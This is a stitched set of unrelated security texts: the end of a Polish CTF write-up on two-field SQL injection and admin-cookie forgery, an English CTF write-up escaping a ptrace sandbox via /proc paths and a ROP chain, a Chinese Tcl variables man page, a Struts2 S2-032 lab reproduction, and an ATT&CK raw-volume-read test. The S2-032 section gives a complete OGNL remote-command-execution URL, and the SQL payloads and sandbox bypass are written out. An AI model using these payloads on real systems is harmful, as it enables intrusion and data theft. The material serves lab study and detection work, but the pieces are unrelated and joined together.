ataku blind sqli, ale na szczęście wpadliśmy na lepszy pomysł - czemu nie połączyć wstrzyknięcia z dwóch pól jednocześnie, umieszczajac w polu `subject` kod który `przesunie` kolumne do pola `message`, usuwając 40 znakowy limit. Wymyśliliśmy, że do pola subject można dać: ``` theSubject",concat( ``` a wiadomość: ``` ,(select whatever we want)))# ``` I tym samym uciekamy z cudzysłowia przez złączenie pustego stringa z wynikiem naszego zapytania! W ten sposób mogliśmy teraz wykonać dowolne zapytania więc dumpowaliśmy całą bazę przez group_concat i substring. Hasła w bazie, w tym hasło admina, były niestety hashowane i raczej nie wyglądały na łamalne. Reszta bazy nie wyglądała na zbyt przydatną. Myśleliśmy, że może da się podmienić hash hasła admina na nasz własny (licząc, że hasła nie są solone loginami), ale nie mieliśmy do tego praw. Chwile zajęło nam zauważenie, że ciastko sesji dla tego zadania wyglądało dość nietypowo - pomógł fakt, że mieliśmy już napisany prosty skrypt pythona do wysyłania zapytań do bazy i tym samym session id było w nim parametrem. Cookie zawierało pewien numer oraz user ID, co jest dość dziwne. Uznaliśmy więc, że może da się sfabrykować cookie admina. W bazie danych w tabeli użytkowników znajdowało się dziwne pole `last login timestamp`. Znaczniki czasowe często są stosowane jako ziarna dla randoma, więc sprawdziliśmy co da nam random dla naszego timestampa jako ziarna i otrzymaliśmy liczbę z naszego cookie! W związku z tym wyciągnęliśmy z bazy timestamp dla admina przez SQL Injection, ustawiliśmy ziarno randoma na tą wartość, pobraliśmy losową liczbę, połączyliśmy z ID admina i uzyskaliśmy cookie `1229569179-209`, które pozwoliło zalogować się do aplikacji jako admin i uzyskać flagę.
sec-knowleage
## Sandbox (pwn, 5p) Escape from this broken sandbox notice: You have to solve the warmup task first. And try to get the flag at /home/sandbox/flag We were given small [Linux binary](sandbox): ``` sandbox: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=d833f31d8d8592636906d44b40da9bcdbc0d686b, stripped ``` Based on task title and description we suspect that Warmup challenge solved previously may be part of this tasks. We verify this by run Warmup exploit against new server. As expected, exploit successfully retrieved flag from */home/warmup/flag* file. The same exploit however fails to retrieve */root/home/sandbox/flag*. We suspect that in order to solve the tasks, we need to bypass sandbox implemented by the provided binary. ### Sandbox Analysis We used Radare2 to disassemble the binary. The binary implements simple sandbox that inspects syscalls from monitored binary using ptrace. This functionality is implemented by subroutine 0x00400b50. Syscall inspection is as follows: ``` | 0x00400c3e 488d742410 lea rsi, [rsp + 0x10] ; struct user ctx | 0x00400c43 89df mov edi, ebx | 0x00400c45 e876010000 call fcn.ptrace_getregs | 0x00400c4a 488b84248800. mov rax, qword [rsp + 0x88] ; ctx.regs.orig_rax | 0x00400c52 4883f805 cmp rax, 5 ; = SYS32_open | ,=< 0x00400c56 7466 je 0x400cbe ; additional logic | | 0x00400c58 4883f801 cmp rax, 1 ; = SYS32_exit | ,==< 0x00400c5c 7467 je 0x400cc5 ; allow | || 0x00400c5e 488d50fd lea rdx, [rax - 3] | || 0x00400c62 4883fa01 cmp rdx, 1 ; in (SYS32_read, SYS32_write) | ,===< 0x00400c66 765d jbe 0x400cc5 ; allow | ||| 0x00400c68 4883f806 cmp rax, 6 ; = SYS32_close | ,====< 0x00400c6c 7457 je 0x400cc5 ; allow | |||| 0x00400c6e 4883f81b cmp rax, 0x1b ; = SYS32_alarm | ,=====< 0x00400c72 7451 je 0x400cc5 ; allow | ||||| 0x00400c74 4883f85a cmp rax, 0x5a ; = SYS32_mmap | ,======< 0x00400c78 744b je 0x400cc5 ; allow | |||||| 0x00400c7a 4883f87d cmp rax, 0x7d ; = SYS32_mprotect | ,=======< 0x00400c7e 7445 je 0x400cc5 ; allow | ||||||| 0x00400c80 89df mov edi, ebx | ||||||| 0x00400c82 be09000000 mov esi, 9 | ||||||| 0x00400c87 e8e4faffff call sym.imp.kill | ||||||| 0x00400c8c 31ff xor edi, edi | ||||||| 0x00400c8e e81dfbffff call sym.imp.exit ``` The monitored process is allowed to execute: * SYS32_open, with additional check described below * SYS32_exit * SYS32_read * SYS32_write * SYS32_close * SYS32_alarm * SYS32_mmap * SYS32_mprotect The additional check for *SYS32_open* is implemented by subroutine 0x00400aa0: ``` / (fcn) fcn.sandbox_inspect_open 176 | ; CALL XREF from 0x00400cc0 (fcn.sandbox_inspect_open) | 0x00400aa0 53 push rbx | 0x00400aa1 89fb mov ebx, edi | 0x00400aa3 4881ec001100. sub rsp, 0x1100 | 0x00400aaa 488d742410 lea rsi, [rsp + 0x10] ; struct user ctx | 0x00400aaf 64488b042528. mov rax, qword fs:[0x28] | 0x00400ab8 48898424f810. mov qword [rsp + 0x10f8], rax | 0x00400ac0 31c0 xor eax, eax | 0x00400ac2 e8f9020000 call fcn.ptrace_getregs | 0x00400ac7 488b742438 mov rsi, qword [rsp + 0x38] ; ctx.regs.rbx | 0x00400acc 488d9424f000. lea rdx, [rsp + 0xf0] | 0x00400ad4 4531c0 xor r8d, r8d | 0x00400ad7 b900100000 mov ecx, 0x1000 | 0x00400adc 89df mov edi, ebx | 0x00400ade e88d030000 call fcn.sandbox_read_vm | 0x00400ae3 488dbc24f000. lea rdi, [rsp + 0xf0] | 0x00400aeb 31f6 xor esi, esi | 0x00400aed e86efcffff call sym.imp.realpath ; BUG: depends on process | 0x00400af2 4885c0 test rax, rax | ,=< 0x00400af5 7438 je 0x400b2f | | 0x00400af7 bfb40f4000 mov edi, str._home_warmup_flag ; "/home/warmup/flag" @ 0x400fb4 | | 0x00400afc b912000000 mov ecx, 0x12 | | 0x00400b01 4889c6 mov rsi, rax | | 0x00400b04 f3a6 repe cmpsb byte [rsi], byte ptr [rdi] | ,==< 0x00400b06 741f je 0x400b27 | || 0x00400b08 488d742410 lea rsi, [rsp + 0x10] | || 0x00400b0d 89df mov edi, ebx | || 0x00400b0f 4889442408 mov qword [rsp + 8], rax | || 0x00400b14 48c744243800. mov qword [rsp + 0x38], 0 ; block pathname access | || 0x00400b1d e8ce020000 call fcn.ptrace_setregs | || 0x00400b22 488b442408 mov rax, qword [rsp + 8] | `--> 0x00400b27 4889c7 mov rdi, rax | | 0x00400b2a e8c1fbffff call sym.imp.free | `-> 0x00400b2f 488b8424f810. mov rax, qword [rsp + 0x10f8] | 0x00400b37 644833042528. xor rax, qword fs:[0x28] | ,=< 0x00400b40 7509 jne 0x400b4b | | 0x00400b42 4881c4001100. add rsp, 0x1100 | | 0x00400b49 5b pop rbx | | 0x00400b4a c3 ret \ `-> 0x00400b4b e8c0fbffff call sym.imp.__stack_chk_fail ;[9] ``` We discovered potential issue with the above, where results of *realpath* subroutine may change depending on process. Typical example is accessing **/proc/self** that links to different location depending on PID of calling process. We didn't find any other issues in provided binary. ### Bypass Approach We spent some time experimenting with different pathnames that may be interpreted differently for different processes. Finally we decided to use following pathname: ``` /proc/self/task/[MONITORED_PROCESS_PID]/root ``` The above pathname: * points to root directory when referred by monitored process and * does not exists when referred by sandbox process, allowing for syscall to continue without modification. As we don't know PID of monitored process, we will attempt to bruteforce this PID from within our exploit. ### Exploit Implementation Out exploit is based on code from Warmup flag, were we modified ROP chain and added new stage. The ROP chain has the following steps: 1. read next stage into data area of exploited binary 2. write *SYS_mprotect* bytes using 0x08048135 to set eax register 3. execute 0x08048122 that performs syscall using pre-set eax, this will modify permission of data area to READ+WRITE+EXECUTE 4. jump to next stage The next stage has the following steps: 1. bruteforces MONITORED_PROCESS_PID to open */proc/self/task/[MONITORED_PROCESS_PID]/root/home/sandbox/flag* 2. read the flag into memory 3. write content of buffer to standard output Attached [exploit.py](exploit.py) was used to retrieve flag during CTF.
sec-knowleage
'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1997 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: tclvars.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: tclvars.n,v 1.2 2003/11/24 05:10:00 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .el \}\ \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\l'|0u-1.5n\(ul' .\} .\} .fi .br .nr ^b 0 .. '\" # VS - start vertical sidebar '\" # ^Y = starting y location '\" # ^v = 1 (for troff; for nroff this doesn't matter) .de VS .if !"\\$2"" .br .mk ^Y .ie n 'mc \s12\(br\s0 .el .nr ^v 1u .. '\" # VE - end of vertical sidebar .de VE .ie n 'mc .el \{\ .ev 2 .nf .ti 0 .mk ^t \h'|\\n(^lu+3n'\L'|\\n(^Yu-1v\(bv'\v'\\n(^tu+1v-\\n(^Yu'\h'-|\\n(^lu+3n' .sp -1 .fi .ev .\} .nr ^v 0 .. '\" # Special macro to handle page bottom: finish off current '\" # box/sidebar if in box/sidebar mode, then invoked standard '\" # page bottom macro. .de ^B .ev 2 'ti 0 'nf .mk ^t .if \\n(^b \{\ .\" Draw three-sided box if this is the box's first page, .\" draw two sides but no top otherwise. .ie !\\n(^b-1 \h'-1.5n'\L'|\\n(^yu-1v'\l'\\n(^lu+3n\(ul'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .el \h'-1.5n'\L'|\\n(^yu-1v'\h'\\n(^lu+3n'\L'\\n(^tu+1v-\\n(^yu'\h'|0u'\c .\} .if \\n(^v \{\ .nr ^x \\n(^tu+1v-\\n(^Yu \kx\h'-\\nxu'\h'|\\n(^lu+3n'\ky\L'-\\n(^xu'\v'\\n(^xu'\h'|0u'\c .\} .bp 'fi .ev .if \\n(^b \{\ .mk ^y .nr ^b 2 .\} .if \\n(^v \{\ .mk ^Y .\} .. '\" # DS - begin display .de DS .RS .nf .sp .. '\" # DE - end display .de DE .fi .RE .sp .. '\" # SO - start of list of standard options .de SO .SH "STANDARD OPTIONS" .LP .nf .ta 5.5c 11c .ft B .. '\" # SE - end of list of standard options .de SE .fi .ft R .LP See the \\fBoptions\\fR manual entry for details on the standard options. .. '\" # OP - start of full description for a single option .de OP .LP .nf .ta 4c Command-Line Name: \\fB\\$1\\fR Database Name: \\fB\\$2\\fR Database Class: \\fB\\$3\\fR .fi .IP .. '\" # CS - begin code excerpt .de CS .RS .nf .ta .25i .5i .75i 1i .. '\" # CE - end code excerpt .de CE .fi .RE .. .de UL \\$1\l'|0\(ul'\\$2 .. .TH tclvars 3tcl 8.0 Tcl "Tcl Built-In Commands" .SH NAME tclvars \- Tcl 使用的变量 .SH "描述 DESCRIPTION" .PP Tcl 库自动的建立和管理下列全局变量。除了下面专做说明的地方之外,对特定于应用的代码和用户,这些变量通常应当作为只读的来对待。 .TP \fBenv\fR Tcl 把这个变量维护为一个数组,它的元素是这个进程的环境变量。读取一个元素将返回相应的环境变量的值。设置这个数组的一个元素将修改相应的环境变量,如果它不存在则建立一个新的。删除 \fBenv\fR 的一个元素将删除相应的环境变量。对 \fBenv\fR 数组的变更将影响通过象 \fBexec \fR这样的命令传递给子进程的环境变量。如果删除了整个 \fBenv\fR 数组,则 Tcl 将停止监视 \fBenv\fR 访问并且将不更新环境变量。 .RS .VS 8.0 在 Windows 下,任何大小写形式的环境变量 PATH 和 COMSPEC 都被自动转换成 大写的。例如,PATH 环境变量可以被操作系统导出为\(lqpath\(rq、\(lqPath\(rq、\(lqPaTh\(rq、 等,这导致其他简单 Tcl 代码必须支持许多特殊的写法。Tcl 继承的所有其他 环境变量保持不变。 .VE .RE .RS 在 Macintosh 上,Tcl 把环境变量构造为非现存的全局环境变量。为 Tcl 建立的环境变量包括: .TP \fBLOGIN\fR 它持有 Macintosh 的 Chooser 名字。 .TP \fBUSER\fR 它也持有 Macintosh 的 Chooser 名字。 .TP \fBSYS_FOLDER\fR 到系统目录的路径。 .TP \fBAPPLE_M_FOLDER\fR 到 Apple 菜单目录的路径。 .TP \fBCP_FOLDER\fR 到控制面板目录的路径。 .TP \fBDESK_FOLDER\fR 到桌面目录的路径。 .TP \fBEXT_FOLDER\fR 到系统扩展目录的路径。 .TP \fBPREF_FOLDER\fR 到偏好目录的路径。 .TP \fBPRINT_MON_FOLDER\fR 到打印监控器目录的路径。 .TP \fBSHARED_TRASH_FOLDER\fR 到网络垃圾箱目录的路径。 .TP \fBTRASH_FOLDER\fR 到垃圾箱目录的路径。 .TP \fBSTART_UP_FOLDER\fR 到启动目录的路径。 .TP \fBHOME\fR 到应用程序的缺省目录的路径。 .PP 你还可以为 Macintosh 建立你自己的环境变量。叫做 \fBTcl Environment Variables\fR 的一个文件将被放置到 Mac 系统文件夹中的偏好文件夹中。这个文件中的每行的形式都是 \fIVAR_NAME=var_data\fR。 .PP 最后的选择是把环境变量放置到这个应用的叫做 \fBTcl Environment Variables\fR 的一个`STR#'资源文件中。这被认为是更象\(lqMac 式\(rq而不是 一个 Unix 式样的环境变量文件。`STR#'资源中每个条目有与上述相同的格式。源 代码文件 \fItclMacEnv.c\fR 包含 env 机制的实现。这个文件包含许多 #define ,它们允许你定制 env 机制来适合你的应用的需要。 .RE .TP \fBerrorCode\fR 在发生了一个错误之后,设置这个变量为持有关于错误的补充信息,它的形式易于用程序处理。\fBerrorCode\fR 由有一个或多个元素的一个 Tcl 列表组成。这个列表的第一个元素标识错误的一个一般的类别,并决定列表余下部分的格式。Tcl 核心为 \fBerrorCode\fR 使用下列格式;个别应用可以定义补充的格式。 .RS .TP \fBARITH\fI code msg\fR 在发生一个算术错误的时候使用这个格式(例如,在 \fBexpr\fR 命令中尝试除以零)。\fICode\fR 标识准确的错误而 \fImsg\fR 提供一个人可阅读的对错误的描述。\fICode\fR 将是下列之一:DIVZERO (尝试除以零)、DOMAIN (如果函数的一个参数在它的作用域之外,比如 acos(-3))、IOVERFLOW (整数溢出)、 OVERFLOW (浮点数溢出)、或 UNKNOWN (如果不能确定错误的原因)。 .TP \fBCHILDKILLED\fI pid sigName msg\fR 在子进程被一个信号所终止的时候使用这个格式。\fBerrorCode\fR 的第二个元素是这个进程的标识符(十进制数)。第三个元素标识导致进程终止的信号的符号名字;它将是在文件 signal.h 中包含的名字之一,比如 \fBSIGPIPE\fR。第四个元素是一个描述这个信号的人可阅读的短消息,比如对 \fBSIGPIPE\fR是\(lqwrite on pipe with no readers\(rq。 .TP \fBCHILDSTATUS\fI pid code\fR 在子进程以非零状态退出的时候使用这个格式。\fBerrorCode \fR的第二个元素是这个进程的标识符(十进制数),而第三个元素是这个进程返回的退出代码(也是十进制数)。 .TP \fBCHILDSUSP\fI pid sigName msg\fR 在子进程被一个信号所挂起的时候使用这个格式。\fBerrorCode\fR 的第二个元素是这个进程的标识符,是一个十进制数。第三个元素识导致进程挂起的信号的符号名字;它将是在文件signal.h 中包含的名字之一,比如 \fBSIGTTIN\fR。 第四个元素是一个描述这个信号的人可阅读的短消息,比如对 \fBSIGTTIN \fR是\(lqbackground tty read\(rq。 .TP \fBNONE\fR 对除了返回错误消息之外没有其他可获得的补充信息的错误使用这个格式。在这种情况下 \fBerrorCode\fR 将由只有一个单一元素的一个列表组成,这个元素的内容是 \fBNONE\fR。 .TP \fBPOSIX \fIerrName msg\fR 如果 \fBerrorCode\fR 的第一个元素是 \fBPOSIX\fR,则错误发生在一个 POSIX 内核调用期间。这个列表的第二个元素将包含发生的错误的符号名字,比如 \fBENOENT\fR;它将是在包含文件 errno.h 中定义的值之一。这个列表的第三个元素是对应于 \fIerrName\fR 的一个人可阅读的消息,比如对 \fBENOENT\fR 是\(lqno such file or directory\(rq。 .PP 要设置 \fBerrorCode\fR,应用应当使用库过程比如 \fBTcl_SetErrorCode\fR 和 \fBTcl_PosixError\fR,或者调用 \fBerror\fR 命令。如果使用了这些方法之一,则 Tcl 解释器将在下个错误之后重置这个变量为 \fBNONE\fR。 .RE .TP \fBerrorInfo\fR 在一个错误发生之后,这个字符串将包含标识在最新近的错误发生时正在执行的 Tcl 命令和过程的一行或多行。它的内容使用栈跟踪的形式,展示在错误发生时调用的各个嵌套的 Tcl 命令。 .TP \fBtcl_library\fR 这个变量持有包含系统 Tcl 脚本库的一个目录的名字,比如用于自动装载的那些目录。\fBinfo library\fR 命令返回这个变量的值。关于 Tcl 脚本库的详情请参见 \fBlibrary\fR 手册条目。 除了 Tcl 脚本库之外,每个应用或包通常都有它自己的特定于应用的脚本库;每个应用都应该设置名字象 \fB$\fR\fIapp\fR\fB_library\fR 这样的一个全局变量(这里的 \fIapp\fR 是这个应用的名字)来持有这个应用的库目录的网络文件名字。在建立解释器的时候,通过查找许多不同目录直到找到包含一个适当的 Tcl 启动脚本的目录,来设置 \fBtcl_library\fR 的最初的值。如果 \fBTCL_LIBRARY\fR 环境变量存在,则首先访问它指名的目录。如果 \fBTCL_LIBRARY\fR 未被设置或不参照一个适当的目录,则 Tcl 检查基于在其中编译(compiled-in)的缺省位置的其他一些目录、包含应用的二进制文件的位置、和当前工作目录。 .TP \fBtcl_patchLevel\fR 在建立解释器的时候 Tcl 初始化这个变量来持有给出当前的 Tcl 补丁级别的一个字符串,比如 \fB7.3p2 \fR是Tcl 7.3 的第二次官方补丁,而 \fB7.4b4\fR 是 Tcl 7.4 的第四次 beta 发布。\fBinfo patchlevel\fR 命令返回这个值。 .VS 8.0 br .TP \fBtcl_pkgPath\fR 这个变量持有一个目录的列表,它一般指示把包安装到哪里。在 Windows 上不使 用它。它典型的包含一个或两个条目;如果它包含两个条目,第一个通常是依赖于 平台的包的目录(例如,共享库的二进制文件)而第二个通常是平台无关的包的目录 (例如,脚本文件)。典型的把包安装为在 \fB$tcl_pkgPath\fR 中的一个条目的 一个子目录。在 \fB$tcl_pkgPath\fR 中的目录缺省的包含在 \fBauto_path\fR 变量中,所以 \fBpackage require\fR 命令期间自动的在它们和它们的直接子目 录中查找包。注意: 不希望应用修改 \fBtcl_pkgPath\fR。在启动时它的值被添加 到 \fBauto_path\fR;对 \fBtcl_pkgPath\fR 的变动不会反映到 \fBauto_path\fR 中。如果你想让 Tcl 来在额外的目录中查找包,你应该把这 些目录的名字添加到 \fBauto_path\fR,而不是 \fBtcl_pkgPath\fR。 .VE .TP \fBtcl_platform\fR 这是一个关联数组,它的元素包含关于应用在其上运行的平台的信息,比如操作系统的名字、它的当前发行号、和机器的指令集。总是定义下列元素,但是如果 Tcl 不能检索到任何有关的信息,则它们的值将是空串。除此之外,扩展和应用可以向这个数组添加补充的值。预先定义的元素是: .RS .VS .TP \fBbyteOrder\fR 这个机器的本地字节序: \fBlittleEndian\fR 或 \fBbigEndian\fR。 .VE .TP \fBdebug\fR 如果这个变量存在,则编译解释器时启用了调试符号。只在 Windows 上存在这个变量,扩展作者可以依赖于所装载的 C 运行时库来指定装载哪个包。 .TP \fBmachine\fR 这个机器执行的指令集,比如 \fBintel\fR、\fBPPC\fR、\fB68k\fR、或\fBsun4m\fR。在 UNIX 机器上,用 \fBuname -m\fR 返回这个值。 .TP \fBos\fR 在这个机器上运行的操作系统的名字,比如 \fBWindows 95\fR、\fBWindows NT\fR、\fBMacOS\fR、或 \fBSunOS\fR。 在 UNIX 机器上,用 \fBuname -s\fR 返回这个值。在 Windows 95 和 Windows 98 上,返回的值将是 \fBWindows 95\fR 来提供更好的对 Windows 95 的反向兼容;要区别二者,请检查 \fBosVersion\fR。 .TP \fBosVersion\fR 在这个机器上运行的操作系统的版本号。在 UNIX 机器上,用 \fBuname -r\fR 返回这个值。在 Windows 95 上,版本将是 4.0;在 Windows 98 上,版本将是 4.10。 .TP \fBplatform\fR \fBwindows\fR、\fBmacintosh\fR、或 \fBunix \fR之一。它表示这个机器的一般操作环境。 .TP \fBthreaded\fR 如果这个变量存在,则编译这个解释器时启用了线程。 .TP \fBuser\fR 它基于在平台上获得的登录信息标识当前用户。在 Unix 它源自 USER 或 LOGNAME 环境变量,在 Windows 和 Macintosh 上源自 GetUserName。 .RE .TP \fBtcl_precision\fR .VS 这个变量在把浮点数转换成字符串时控制生成的数字的数目。它缺省的是 12。对于 IEEE 浮点数 17 位数字是\(lq最佳的\(rq,这样允许双精度值在二进制和字符串之间来回转换而不丢失信息。但是,使用 17 位数字将禁止任何舍入,这将生成更长,而更不直观的值。例如,\fBexpr 1.4\fR 在设置 \fBtcl_precision\fR 为 17 时返回 1.3999999999999999,而在设置 \fBtcl_precision\fR 为 12 时返回 1.4 。 .RS 在一个进程中的所有解释器共享一个单一的 \fBtcl_precision\fR 值: 在一个解释器中改变它将同样影响所有其他解释器。但是,不允许安全解释器修改这个变量。 .RE .VE .TP \fBtcl_rcFileName\fR 在初始化期间使用这个变量来指示特定于用户的启动文件的名字。如果在特定于应用的初始化中设置了它,则 Tcl 启动代码将检查这个文件是否存在,并且如果它存在的话则 \fBsource\fR (载入)它。例如,对于 \fBwish\fR ,这个变量被设置成给 Unix 的 \fB~/.wishrc\fR 和给 Windows 的 \fB~/wishrc.tcl\fR。 .TP \fBtcl_rcRsrcName\fR 这个变量只在 Macintosh 系统上使用。在初始化期间使用这个变量来指示位于应用或扩展资源 fork 中的一个特定于应用的 \fBTEXT\fR 资源的名字。如果特定于应用的初始化设置了它,则 Tcl 启动代码将检查资源是否存在,如果存在则 \fBsource\fR 它。例如,Macintosh \fBwish\fR 应用设置这个变量为 \fBtclshrc\fR。 .TP \fBtcl_traceCompile\fR 设置这个变量的值来控制在字节码编译期间显示多少跟踪信息。缺省的,tcl_traceCompile 是零且不显示信息。设置 tcl_traceCompile 为 1,在编译一个过程或顶层命令的时候在标准输出上生成一行总结。设置它为 2,在标准输出上详细的列出在每次编译期间散发(??? emit)的字节码指令。在跟踪怀疑是 Tcl 编译器的问题时很有用。在把现存代码转换成 Tcl8.0 时也偶尔有用。 .TP \fBtcl_traceExec\fR 设置这个变量的值来控制在字节码执行期间显示多少跟踪信息。缺省的,tcl_traceExec 是零而不显示信息。设置 tcl_traceExec 为 1,在每次调用一个 Tcl 过程的时候在标准输出上生成一行跟踪。设置它为 2,在用命令的名字和它的参数调用任何Tcl 命令的时候,生成一行输出。设置它为 3,生成一个详细的跟踪,展示每个字节码指令的执行结果。注意在 tcl_traceExec 是 2 或 3 的时候,不展示象 set 和 incr 这样已经被整个替换为一个字节码指令序列的命令。在跟踪怀疑是 Tcl 编译器和解释器的问题时很有用。在把现存代码转换成 Tcl8.0 时也偶尔有用。 .TP \fBtcl_wordchars\fR 这个变量的值是一个正则表达式,设置它来控制认把什么字符认为是\(lq字\(rq字 符。例如在 Tk 的文本框中用双击来选择一个字。它是平台相关的。在 Windows 上,它缺省为 \fB\\S\fR,意思是除了 Unicode 空格字符之外的任何字符。其他 平台上缺省为 \fB\\w\fR,它是任何 Unicode 字字符(数字、字母、下划线)。 .TP \fBtcl_nonwordchars\fR 这个变量的值是一个正则表达式,设置它来控制认把什么字符认为是\(lq非字\(rq 字符。例如在 Tk 的文本框中用双击来选择一个字。它是平台相关的。在 Windows 上,它缺省为 \fB\\s\fR,意思是任何 Unicode 空格字符。其他平台上缺 省为 \fB\\W\fR,它是除了 Unicode 字字符(数字、字母、下划线)之外的任何字符 。 .TP \fBtcl_version\fR 在建立解释器的时候,Tcl 初始化这个变量来持有这个版本的 Tcl 的版本号,形式是 \fIx.y\fR。对 \fIx\fR 的变更表示可能导致不兼容的较大的变化,对 \fIy\fR 的变更表示保持反向兼容的小增强和缺陷修理,\fBinfo tclversion\fR 命令返回这个变量的值。 .SH "参见 SEE ALSO" eval(n) .SH "关键字 KEYWORDS" arithmetic, bytecode, compiler, error, environment, POSIX, precision, subprocess, variables .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/12/10 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# S2-032 远程代码执行漏洞(CVE-2016-3081) 影响版本: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3) 漏洞详情: - https://cwiki.apache.org/confluence/display/WW/S2-032 - https://www.cnblogs.com/mrchang/p/6501428.html ## 漏洞环境 执行如下命令启动struts2 2.3.28: ``` docker compose up -d ``` 环境启动后,访问`http://your-ip:8080`即可看到默认页面。 ## 漏洞复现 Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用`method:<name>`的方式来调用名字是`<name>`的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。 直接请求如下URL,即可执行`id`命令: ``` http://your-ip:8080/index.action?method:%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id ``` ![](1.png)
sec-knowleage
# T1006-win-直接访问卷 ## 来自ATT&CK的描述 攻击者可以直接访问一个卷,以绕过文件访问控制和文件系统监控。Windows允许程序直接访问逻辑卷。拥有直接访问权的程序可以通过分析文件系统的数据结构直接从驱动器中读写文件。这种技术可以绕过Windows文件访问控制以及文件系统监控工具。 诸如NinjaCopy这样的实用程序,可以在PowerShell中执行这些操作。 ## 测试案例 通过DOS命令(PowerShell)读取卷引导扇区 此测试使用PowerShell通过DOS命令,并对卷的前几个字节执行直接访问读取。成功时,将显示卷的前11个字节的十六进制转储。 对于NTFS卷,它应符合以下顺序(NTFS分区引导扇区): ``` 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 20 20 20 ëR?NTFS ``` 攻击命令。用powerhell运行! 需要提升权限(如root或admin)。 ``` $buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer ``` ## 检测日志 暂无,经过本地复现,Windows安全日志、Powershell操作日志、Sysmon日志未记录到此命令的执行情况。 ## 测试复现 ### 测试1 Read volume boot sector via DOS device path (PowerShell) ``` PS C:\Windows\system32> $buffer = New-Object byte[] 11 PS C:\Windows\system32> $handle = New-Object IO.FileStream "\\.\C:", 'Open', 'Read', 'ReadWrite' PS C:\Windows\system32> $handle.Read($buffer, 0, $buffer.Length) 11 PS C:\Windows\system32> $handle.Close() PS C:\Windows\system32> Format-Hex -InputObject $buffer 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 20 20 20 